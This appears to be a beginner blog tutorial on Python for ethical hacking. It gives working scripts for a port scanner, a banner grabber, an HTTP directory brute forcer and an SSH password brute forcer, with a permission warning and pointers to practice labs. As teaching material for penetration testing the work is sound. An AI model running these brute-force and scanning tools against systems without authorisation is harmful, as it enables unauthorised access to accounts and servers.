| |

Python for Ethical Hacking — Complete Beginners Guide 2026

Python is the most popular language for cybersecurity professionals. It is easy to learn, has powerful libraries for networking and security, and is pre-installed on Kali Linux. This guide teaches you to write real security tools from scratch.

Why Python for Hacking?

  • Simple, readable syntax — learn fast
  • Massive library ecosystem (socket, scapy, requests, paramiko)
  • Pre-installed on Kali Linux and most Linux distros
  • Used by professional pentesters and malware researchers
  • Cross-platform — works on Windows, Linux, macOS

Setting Up Your Environment

# Check Python version (use 3.10+)
python3 --version

# Install pip if needed
sudo apt install python3-pip

# Create a virtual environment (best practice)
python3 -m venv hackenv
source hackenv/bin/activate

# Install security libraries
pip install requests scapy paramiko cryptography colorama

Tool 1: Simple Port Scanner

#!/usr/bin/env python3
import socket
import sys
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((host, port))
        sock.close()
        if result == 0:
            try:
                service = socket.getservbyport(port)
            except:
                service = "unknown"
            print(f"  [+] Port {port}/tcp  OPEN  ({service})")
    except:
        pass

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} ")
        sys.exit(1)
    
    host = sys.argv[1]
    print(f"[*] Scanning {host}...")
    
    with ThreadPoolExecutor(max_workers=100) as executor:
        for port in range(1, 1025):
            executor.submit(scan_port, host, port)

if __name__ == "__main__":
    main()
# Run it
python3 portscanner.py 192.168.1.1

Tool 2: Banner Grabber

#!/usr/bin/env python3
import socket

def grab_banner(ip, port):
    try:
        sock = socket.socket()
        sock.settimeout(3)
        sock.connect((ip, port))
        banner = sock.recv(1024).decode().strip()
        print(f"[+] {ip}:{port} — {banner}")
        sock.close()
    except Exception as e:
        print(f"[-] {ip}:{port} — No banner ({e})")

# Test common ports
target = "192.168.1.1"
for port in [21, 22, 25, 80, 443, 8080]:
    grab_banner(target, port)

Tool 3: HTTP Directory Brute Forcer

#!/usr/bin/env python3
import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.com"
WORDLIST = "/usr/share/wordlists/dirb/common.txt"

def check_path(path):
    url = f"{TARGET}/{path.strip()}"
    try:
        r = requests.get(url, timeout=3, allow_redirects=False)
        if r.status_code in [200, 301, 302, 403]:
            print(f"  [{r.status_code}] {url}")
    except:
        pass

with open(WORDLIST) as f:
    paths = f.readlines()

print(f"[*] Scanning {len(paths)} paths on {TARGET}")
with ThreadPoolExecutor(max_workers=50) as ex:
    ex.map(check_path, paths)

Tool 4: Simple SSH Brute Forcer

#!/usr/bin/env python3
import paramiko
import sys

# ONLY USE ON SYSTEMS YOU OWN OR HAVE PERMISSION TO TEST

def try_login(host, port, username, password):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(host, port=int(port), username=username, 
                      password=password, timeout=3)
        print(f"[+] SUCCESS: {username}:{password}")
        client.close()
        return True
    except paramiko.AuthenticationException:
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

host, port, user, wordlist = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
with open(wordlist) as f:
    for password in f:
        if try_login(host, port, user, password.strip()):
            break

Useful Security Libraries

  • Scapy — Packet crafting and sniffing
  • Requests — HTTP requests for web testing
  • Paramiko — SSH client/server
  • Cryptography — Encryption and hashing
  • BeautifulSoup — HTML parsing for web scraping
  • Impacket — Windows protocol implementations

Next Steps

Practice these tools in a safe lab environment. Set up VulnHub machines or use TryHackMe rooms to test your scripts legally. Study the source code of popular tools like Nmap and Metasploit to learn advanced techniques.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *